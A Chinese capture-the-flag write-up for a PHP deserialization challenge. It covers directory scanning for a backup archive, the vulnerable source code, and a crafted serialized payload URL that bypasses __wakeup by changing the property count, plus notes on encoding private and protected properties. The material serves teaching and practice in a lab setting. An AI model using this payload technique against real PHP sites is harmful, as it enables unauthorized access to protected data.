解题过程
他说了备份,直接使用dirsearch扫目录
-u后面加网站 -e后面加语言
扫到www.zip压缩包
得到源文件:
index.php包含如下代码:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php源码:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
开始构造
- 声明一个Name类,包含username,password,且两个变量都是private修饰,整句话都有用。
- 然后根据判断句得知,username必须是admin,password必须是100所以,构造序列化
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
echo serialize($a);
?>
运行得到:O:4:”Name”:2:{s:14:” Name username”;s:5:”admin”;s:14:” Name password”;s:3:”100″;}
构造payload
http://236df315-754c-466d-8ef3-ea2a8db90a6f.node3.buuoj.cn/index.php?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
需要把Name后面的2改成其他数字,空格的%20需要改成%00
知识拓展
只有public修饰的不用太多的修饰原生态构造就好,而private需要加%00Name%00,
protected则需要使用 %00*%00username这样的方式